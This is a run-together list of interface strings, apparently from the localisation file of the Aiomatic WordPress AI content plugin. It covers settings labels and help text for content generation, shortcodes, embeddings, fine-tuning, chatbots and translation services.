Translate)EU Central 1 (Amsterdam)EU Central 1 (Frankfurt)EU North 1 (Stockholm)EU West 1 (Ireland)EU West 1 (London)EU West 2 (London)EU West 2 (Paris)EU West 3 (Paris)EU central 2 (Frankfurt)EditEdit AssistantEdit Created PostEdit OmniBlock TemplateEdit Post SourceEdit/Add AI Content!Editing Templates and OptionsEditor's Choice: Editors & AdminsEducationEgyptElevenLabs Text-to-Speech API:ElevenLabs.ioEligible Images Rank At Most At Position: EmailEmail Address:Email ContentEmail Recipient AddressEmail SubjectEmbedded YouTube Player Settings:Embedding Content Rewriter Model:Embedding Content Rewriter Prompt (%%post_content%%):Embedding draft updated.Embedding published.Embedding restored to revision from %sEmbedding saved successfullyEmbedding saved.Embedding scheduled for: %1$s.Embedding submitted.Embedding updated.EmbeddingsEmbeddings API Options:Embeddings InputEmbeddings Model:Embeddings ResultEmbeddings are a way to send to the AI content writer a set o pre-trained data, to give it more context about the question or prompt which was submitted to it, for which a response is awaited. These embeddings can help the model better understand language and the requirements sent in the prompt.Empty API key provided!Empty API seed expression provided (after processing)Empty prompt added to image generatorEmpty results.Enable 'Featured Image from URL' Integration:Enable AI Content Rewriting:Enable AI Content Rewriting: This will enable the editing and rewriting of the content.Enable AI Internet Access For:Enable AI Vision:Enable AI internet access for the following features of the plugin.Enable Aiomatic WP-CLI Integration:Enable Automatic Processing Of All Newly Added Taxonomies For:Enable Chatbot Embedding On Remote Sites:Enable Chatbot God Mode (Warning! Experimental!):Enable Chatbot HTML Responses:Enable Chatbot Instant Responses:Enable Chatbot Text-to-Speech/Video:Enable Chatbot Vision:Enable Chatbot Voice Input:Enable CommentsEnable Comments For PostsEnable Comments For Posts:Enable Content Text-to-Speech/Video:Enable Content Wizard Also For Not Logged In Users:Enable Content Wizard On:Enable Detailed Logging for Rules:Enable Embeddings Auto Indexing For Newly Published:Enable Embeddings For:Enable Featured Image Creation:Enable Featured Image Creation: This will automatically assign a featured image to the published content.Enable Featured Image Editing:Enable Featured Image Editing: This will automatically edit the current featured image of the post, based on a predefined prompt.Enable First-Hand ExperienceEnable First-Hand Experience:Enable Function Calling In The Chabot Preview From Below:Enable Function Calling In The Globally Injected Chatbot:Enable Global Usage Limits:Enable Google Images Search Usage: Enable Logging for Rules:Enable Message Copying By Clicking It:Enable OmniBlocks Webhook Functionality:Enable Persistent Chat Also For Not Logged In Users:Enable Pingback/TrackbackEnable Pingback/Trackback:Enable Pingbacks/TrackbacksEnable Pixabay Direct Website Scraping: Enable Post Content Image Editing:Enable SEO Meta Description Writing:Enable Spinner For:Enable Swear Word Filtering:Enable Text-to-Speech Usage Limits:Enable The Best Spinner Humanize AI Usage:Enable The ChatBot To Send Emails:Enable Unsplash API Usage: Enable Usage Tracking For Statistics And Usage Limits:Enable User Message Moderation:Enable Users To Upload PDF Files To The Chatbot:Enable broad image search: Enable embeddings for which parts of the plugin.Enable or disable automatic post modifications every time you publish a new post (manually or automatically).Enable or disable this plugin. This acts like a main switch.Enable the ChatBot To Send Emails. Users will be able to ask the chatbot to send emails by providing the recipient, email subject and email content. The plugin will instruct the chatbot to return the content of the email in a specific format, which it will parse and send the email in the chatbot's name.EnabledEnabled Posts Automatic Editing:Engaging with your audience is crucial, and Aiomatic makes it easier with the Comment Replier feature. This handy tool uses AI algorithms to analyze and understand comments on your website, providing you with suggested responses. You can quickly reply to comments, foster meaningful conversations, and provide better user engagement, all with the help of AI.EnglishEnglish (Google Translate)Enjoy exploring Aiomatic's hidden features and maximizing the potential of your WordPress website!Enter API key in Main Settings to enableEnter Your DataEnter a 2 letter language code that will be assigned as the WPML/Polylang language for posts. Example: for German, input: deEnter a HTML text that should be append to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Enter a HTML text that should be append to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Enter a HTML text that should be append to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Enter a HTML text that should be append to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Enter a HTML text that should be appended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Enter a HTML text that should be appended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Enter a HTML text that should be appended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Enter a HTML text that should be appended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Enter a HTML text that should be prepended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Enter a HTML text that should be prepended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Enter a HTML text that should be prepended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Enter a HTML text that should be prepended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Enter a list of post sections, one per line. These will be headings of the content. These can also be automatically generated by the plugin. To enable auto generating of sections, leave this field blank. This will set the value of the %%sections%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you set a section list here, each created article will have this same list of sections, because of this, use shortcodes or Spintax when defining these static topics or leave this field blank for the plugin to auto generate them!Enter a list of post sections, one per line. These will be headings of the content. These can also be automatically generated by the plugin. To enable auto generating of sections, leave this field blank. You can use here the %%topic%% shortcode, to get the value of the above topic, automtically. This will set the value of the %%sections%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you set a section list here, each created article will have this same list of sections, because of this, use shortcodes or Spintax when defining these static topics or leave this field blank for the plugin to auto generate them!Enter a manual list of links, where the plugin will create links.Enter the maximum number of products to include in the product roundup article. You can also enter number ranges like: 3-4Enter the maximum number of products to include in the product roundup article. You can also enter number ranges, like: 2-4Enter the number of paragraphs to create for each section. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%paragraphs_per_section%% shortcode.Enter the number of sections to create in the article. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%sections_count%% shortcode.Entities Search KeywordsEnvato Purchase CodeError getting content: EsperantoEsperanto (Google Translate)EstimatedEstonianEstonian (Google Translate)EventsEweEwe (Google Translate)Example 10:Example 11:Example 12:Example 13:Example 14:Example 15:Example 16:Example 17:Example 18:Example 2:Example 3:Example 4:Example 5:Example 6:Example 7:Example 8:Example 9:Example:Example: B07RZ74VLRExample: dog foodExcepting This Comma Separated List Of Custom Post Types:ExcerptExcerpt PromptExcerpt Prompt:Exciting news for Aiomatic plugin users: You can now store royalty-free or AI-generated images in Amazon S3 with Aiomatic's new extension! Get it here: Excluded Word List (For Built-In Spinner Only):Existing Content EditorExisting Content Editor:Existing Taxonomy AI Description Writer:Export Chat Conversation Text FileExpress Content TemplatesExpress ModeExtend your ExtensionsExternal Cron JobExtra Features:F-omatic Post GeneratorFAQFAST_BLUEFAST_GREENFacebook Post LinkFacebook Post TemplateFailedFailed to decode OmniBlocks data!Failed to decode saved blocks data!Failed to list voices!Failed to upload and process fileFashionFeaturedFeatured ImageFeatured Image Editing Engine:Featured Image Resize Height:Featured Image Resize Quality:Featured Image Resize Width:Featured Image Source:Featured Image Status:Feel free to join our Discord communityFeelingsField Type*File Content TemplateFile LocationFile To LoadFile TypeFile size exceeds maximum limit.File uploaded successfully you can view it in Datasets tab.File uploaded successfully you can view it in the OmniBlock Templates listing tab.File uploaded successfully you can view it in the assistant listing tab.File uploaded successfully you can view it in the form listing tab.File uploaded successfully you can view it in the persona listing tab.File uploaded successfully!File uploaded successfully.FilenameFilipinoFilipino (Google Translate)Filter Language: Filter OmniBlock Templates By Category:Filter displayed OmniBlock Templates by Category.Filter results by image category.Filter results by image orientation.Filter results by image type.Fine-TuneFine-tune ModelFine-tunesFine-tuning in GPT-3 is the process of adjusting a specific AI model and its parameters to better suit a specific task. This can be done by providing GPT-3 with a data set that is tailored to the task you need. For example, if you want to create a chatbot which replies similar to questions similar to Rick, from "Rick and Morty", this feature is what you need.FinishFinnishFinnish (Google Translate)First List of Possible Sentences (%%random_sentence%%):First PageFirst Person Plural (we, us, our, ours)First Person Singular (I, me, my, mine)First up, we have the Content Wizard, your reliable companion in managing and optimizing your content. This intelligent assistant helps you with various tasks, from generating AI-powered meta tags to suggesting relevant keywords and optimizing your content for better search engine rankings. The Content Wizard is your virtual content strategist, guiding you every step of the way.Flagged Text Message:Flickr API Options:Flickr App ID: FoodFor more information about the plugin, please visitFor users who belong to multiple organizations, you can pass a header to specify which organization is used for an API request. Usage from these API requests will count as usage for the specified organization. This field is optional.Form Background Color:Form Button Color:Form Button Text Color:Form ID not found in the database!Form Input Fields Max Length:Form Input Fields Min Length:Form OptionsForm Output Placeholder Text:Form Text Color:Form draft updated.Form published.Form restored to revision from %sForm saved.Form scheduled for: %1$s.Form submitted.Form updated.FranceFrenchFrench (Google Translate)Frequency PenaltyFrequency Penalty:FrisianFrisian (Google Translate)Front End OptionsFull Access Users:Fully AI Generated TitlesFunction CallingFunction Calling Activation Settings:Function Calling Chatbot Module Settings:GD LibraryGD Library:GET ITGalicianGalician (Google Translate)GalleryGathers the content of a single file.General AI Image Generator Settings:General SettingsGeneral System Info:General TipsGenerate A SEO Meta DescriptionGenerate A SEO TitleGenerate ContentGenerate Short Description (Excerpt)Generate TagsGenerate TextGenerate Title And ContentGenerate Using AIGenerated Featured Image Size:Generated Image SizeGenerated Image Size:Generated Post FormatGenerated Post Format:Generated ResultsGenerates AI images using different Dall-E modelsGenerates AI images using different Stable Diffusion modelsGenerates AI textual content using different modelsGenerates AI textual content using different models, calling the AI writer for each line of the input text (with respective prompt changes)Generates AI videos using different source imagesGenerating SEO meta description...Generating content...Generating short description (excerpt)...Generating tags...Generating title...GeorgianGeorgian (Google Translate)GermanGerman (Google Translate)GermanyGet WPML now!Getting started?Global Banned Words List:Global Prompt OptionsGlobal Required Words List:Go to the 'Manage Assistants' tab and click the 'Add New Assistant' button. Fill out an intuitive name for the assistant, select an AI model, add a description and in the 'Assistant Context Prompt' settings field, be sure to add any information that the Assistant should be aware of. Here you can teach it about its name, role and purpose. You can also enable advanced features like 'Code Interpreter' and 'Retrieval', add your own functions or even upload files for the assistant to process and to extract content from them. Finally, you can assign also an avatar for the Assistant, which will be used for the chatbot, when this assistant is used.God Mode (WordPress Function Calling)Google Images API Options:Google MakerSuite AI API SettingsGoogle My Business Post Image URLGoogle My Business Post TemplateGoogle SERP API Key (Only For Internet Access, Not Related Headings)Google SERP API Search Engine ID (CX Value) (Only For Internet Access, Not Related Headings)Google SERP API:Google SearchGoogle Text-to-SpeechGoogle Text-to-Speech API:Google Translator API Key (Optional)Google Translator API:Google did not generate any audio for this textGreekGreek (Google Translate)GuaraniGuarani (Google Translate)GujaratiGujarati (Google Translate)HTMLHTML Text To Append To AI Created ContentHTML Text To Append To AI Created Content:HTML Text To Prepend To AI Created ContentHTML Text To Prepend To AI Created Content:HTML Text To Preppend Audio/Video:Haitian CreoleHaitian Creole (Google Translate)HausaHausa (Google Translate)Having issues with the plugin? Please be sure to check out our knowledge-base before you contact our support!HawaianHawaian (Google Translate)Headers TemplateHeading Image LocationHeading Image Location:Heading Image/Video LocationHeading Image/Video Location:HeadlessBrowserAPI Key (Optional)Headphones or earbudsHealthHebrewHebrew (Google Translate)Hello, my name isHere are some options you have, to help create the data for fine-tuning (select the one that best fits your needs)Here you can also download your data or directly upload it to OpenAI for usage. Useful tip: to gather your data, start by collecting info about your website pages, content, and any ideas you have in your mind. Try to create a file, or several files, without any HTML formatting or other unnecessary elements. If you have access to ChatGPT, use it to generate a large number of questions and answers based on your content. Gather the data in a Google Sheet with the two columns, and make sure to review and perfect it. A dataset should have a minimum of 500 rows to offer useful results, and much more if you want to achieve better results. According to the OpenAI documentation, above 3,000 rows are recommended. But it ultimately depends on what you're trying to achieve. Be sure to select the base model for which you want to create a fine tune, from the 'Model Base' dropdown list, because you decide at this step for which model you want to create a fine tune with the uploaded data. Check OpenAI's recommendations for fine tuning,Here you will be able to automatically generate, using AI, the SEO meta fields for this image.Here, you can set up the conditions for automatic post editing:HideHide Tutorial VideoHigh Quality - PaidHighlightedHindiHindi (Google Translate)Hint: you can use the following shortcodes in this settings field: %%image_title%%, %%image_caption%%, %%image_alt%%, %%image_description%%, %%parent_title%%, %%parent_excerpt%%, %%parent_content%%, %%blog_title%%, %%random_sentence%%, %%random_sentence2%% + nested shortcodes also supported.Hit this button and all posts generated by this plugin will be deleted!Hit this button and all rules will be deleted!Hit this button and the plugin settings will be restored to their default values. Warning! All settings will be lost!Hit this button and the plugin will create the default OmniBlock Templates which come bundled with the plugin.Hit this button and the plugin will create the default assistants which come bundled with the plugin.Hit this button and the plugin will create the default forms which come bundled with the plugin.Hit this button and the plugin will create the default personas which come bundled with the plugin.Hit this button and you can backup the current OmniBlock Templates to file.Hit this button and you can backup the current assistants to file.Hit this button and you can backup the current forms to file.Hit this button and you can backup the current personas to file.Hit this button and you can restore OmniBlock Templates from file.Hit this button and you can restore assistants from file.Hit this button and you can restore forms from file.Hit this button and you can restore personas from file.HmongHmong (Google Translate)Home URLHome URL:Home entertainment system or smart TVHorizontalHow Many Times To Retry API Calls In Case Of API Failure:How long to wait before editing new posts: Set a delay for the editing process. This could be useful if you want to review the posts yourself before they are automatically edited.How much influence the init_image has on the diffusion process. Values close to 1 will yield images very similar to the init_image while values close to 0 will yield images wildly different than the init_image. The behavior of this is meant to mirror DreamStudio's "Image Strength" slider. This parameter is just an alternate way to set step_schedule_start, which is done via the calculation 1 - image_strength. For example, passing in an Image Strength of 35% (0.35) would result in a step_schedule_start of 0.65.How strictly the diffusion process adheres to the prompt text (higher values keep your image closer to your prompt). Default value is 7.How strongly the video sticks to the original image. Use lower values to allow the model more freedom to make changes and higher values to correct motion distortions.How to get started with AI Forms?How to install PhantomJs?How to use different features of the plugin? Like AI chatbot, AI content creator, AI Content Editor, AI Model Training, Embeddings, AI Forms and many more?HungarianHungarian (Google Translate)Hyper-paramsI am really excited to have you on board as a user!I am the developer of theI need to find highly relevant royalty-free images for an article heading, please extract a comma-separated list of the most relevant keywords from the heading, prioritizing specific references over general keywords. Add the highest priority to the most specific keyword that is still related to the main topic. By doing so, you can help me find more appropriate and targeted images for the article heading. The blog post heading title is: "%%post_title%%".I'll also dive into how Aiomatic can enhance your scraped or news posts, ensuring that your content is always fresh, relevant, and engaging. Say goodbye to boring, uninspired content, and hello to Aiomatic!IDID*ID:INFO: Configure AI Writer Prompts in the "Taxonomy Description Writer" tab fromINFO: PhantomJS OKINFO: PhantomJS Test SuccessfulINFO: PhantomJS cannot run - shell exec is not allowed to run on your server (in disable_functions list in php.ini). Please enable it and retry using this feature of the plugin.INFO: PhantomJS cannot run - shell exec is not enabled on your server. Please enable it and retry using this feature of the plugin.INFO: PhantomJS not found - please install it on your server or configure the path to it in plugin's 'Main Settings'!INFO: You can change the way the posts are edited by changing settings in the 'Editing Templates and Options' tab from above!INFO: You can change the way the posts are edited by changing settings in the 'Editing Templates and Options' tab from above! Also, be sure to save settings before running bulk post editing!IPIP: The IP address from which the request was made.IcelandicIcelandic (Google Translate)If enabled, the article will be written from a perspective that sometimes can make it sound like the writer has first-hand experience with the products.If enabled, the products will be shuffled, randomizing their order on each run.If specified, the AI API will make a best effort to sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed, as changes can be made to the API in the backend, over longer periods of time.If you already have assistants created on OpenAI's platform, you can import these assistants, using the 'Import Assistants From OpenAI' button. All create assistants will appear in the plugin and will be able to be used.If you are looking for a quick way to customize the AI content writer and to teach it some info about your company, I suggest you check theIf you are looking for more complex way to customize the AI content writer and to be able to "teach" the AI a large set of information (by creating your own fine-tuned model), I suggest you check theIf you are using a LiteSpeed web server, you might need to configure it to allow longer execution times of Aiomatic.If you are using content editing which contain Chinese characters, you can try checking this checkbox.If you check this checkbox, all prompts which are used in the plugin will be processed as they are, in a single bulk text block, regardless of new lines from their content. If the checkbox is unchecked, a random prompt will be selected at each run, from the entered prompt lines, based on new lines from the text (like this, you will be able to enter multiple prompts from which the plugin will select a random one at each run).If you checked the above checkbox to disable processing of custom post types, you can define here a comma separated list of posts types which should still be process (excepted from skipping).If you encounter issues while using the Single AI Post Creator Advanced Mode tab, check this checkbox.If you encounter slowdowns or a even a full halt in your content creation workflow, the problem could potentially come from Cloudflare.If you entered a list of images in the 'Default Featured Image List' settings field, you can set up the plugin to ask the AI to select the image which matches the best the title of the published post.If you need help getting started with Aiomatic, be sure to check outIf you notice any slowdown or failure in content generation, it could be due to issues with the OpenAI API services. Please wait until their services are back to normal before attempting again.If you selected a specific region in your Azure Microsoft account, you must enter it here. Learn more here. The default is global.If you set a post topic here, the titles you entered in the 'Post Title List' settings field will not be considered and titles will be auto generated based on this topic! Be sure to edit the 'Title Prompt' settings from below to change the way titles will be created! Enter a post topic list, one on each line. If you leave this field blank, the titles from entered in the 'Post Title List' settings field will be used. If you enter a value here, new titles will be created, based on this topic and the values from the 'Post Title List' will be overwritten. If you enter multiple topics (one per line), a random topic will be selected at each run. This will set the value of the %%topic%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.If you set a post topic list here, the titles you entered in the \'Post Title List\' settings field will not be considered and titles will be auto generated based on this topic! Be sure to edit the \'Title Prompt\' settings from below to change the way titles will be created! Enter a post topic list, one on each line. If you leave this field blank, the titles from entered in the 'Post Title List' settings field will be used. If you enter a value here, new titles will be created, based on this topic and the values from the 'Post Title List' will be overwritten. If you enter multiple topics (one per line), a random topic will be selected at each run. This will set the value of the %%topic%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.If you want to create long content (over 10000 words) in a single post and you are getting undesired results, you can check this checkbox for a fix.If you want to get maximum customizability for your shortcodes, check this checkbox. It will allow maximum customizability for content created by shortcodes.If you want to schedule the cron event manually in your server, to allow recurring editing of existing posts on your site, you should schedule this address:If you want to use SerpAPI to get the related headings for the created posts, you must add your API key here. By default, the plugin scrapes Bing Search for related queries. Get your API key here.If you want to use ValueSERP to get the related headings for the created posts, you must add your API key here. By default, the plugin scrapes Bing Search for related queries. Get your API key here.If you want to use a proxy to crawl webpages, and it requires authentification, input it's authentification details here. Required format: username:password. You can input a comma separated list of users/passwords. If a proxy does not have a user/password, please leave it blank in the list. Example: user1:pass1,user2:pass2,,user4:pass4.If you want to use a proxy to crawl webpages, input it's address here. Required format: IP Address/URL:port. You can input a comma separated list of proxies.If you wish to use DeepL for translation, you must enter first a DeepL 'Authentication Key'. Get one here. If you enter a value here, new options will become available in the 'Automatically Translate Content To' and 'Source Language' fields.If you wish to use Microsoft for translation, you must enter first a Microsoft 'Access Key'. Learn how to get one here. If you enter a value here, new options will become available in the 'Automatically Translate Content To' and 'Source Language' fields.If you wish to use the Google Search feature of the plugin when scraping keywords, enter a Google Search API key here. Get one here. Please enable the 'Custom Search API' in Google Cloud Console. Also, to search the entire web for results, please follow this tutorial. The search engine feature will work even without entering an API key here, but in this case, the Bing API will be used.If you wish to use the HeadlessBrowserAPI to render JavaScript generated content for your scraped pages, enter your API key here. Get one here. If you enter a value here, new options will become available in the 'Use PhantomJs/Puppeteer/Tor To Parse JavaScript On Pages' in importing rule settings.If you wish to use the official version of the Google Translator API for translation, you must enter first a Google API Key. Get one here. Please enable the 'Cloud Translation API' in Google Cloud Console. Translation will work even without even without entering an API key here, but in this case, an unofficial Google Translate API will be used.If you're a Cloudflare user and you are facing slowdowns in your content creation workflow, one potential remedy could be to extend the connection timeout on Cloudflare (if this is possible in your case). Another approach could be to deactivate CloudFlare while you are using the Aiomatic plugin on your site for long content creation (which uses multiple API requests).If you're looking to edit existing or newly published posts, Aiomatic also offers AI content editors and AI-generated featured images to help streamline the process. And with advanced features like AI model fine-tuning, AI embeddings, and usage statistics, you can take your content creation to the next level and produce high-quality, engaging posts in no time.If your issue is more technical, create a ticket and ask for support onIf your template supports "Post Formats", than you can select one here. If not, leave this at it's default value.If your template supports 'Post Formats', than you can select one here. If not, leave this at it's default value.IgboIgbo (Google Translate)IllustrationIlocanoIlocano (Google Translate)ImageImage CaptionImage Category: Image Compression Quality:Image Generation Using DALL-E 2 and Stable DiffusionImage Generator Failed User Message:Image Generator OptionsImage Keyword SearchImage LinkImage Max Width: Image Min Height: Image Min Width: Image Model:Image Orientation: Image SizeImage Storage Options:Image TextImage Types To Search:Image Types To Search: Image generation is a feature where the AI generates images based on prompts. You would typically enter a 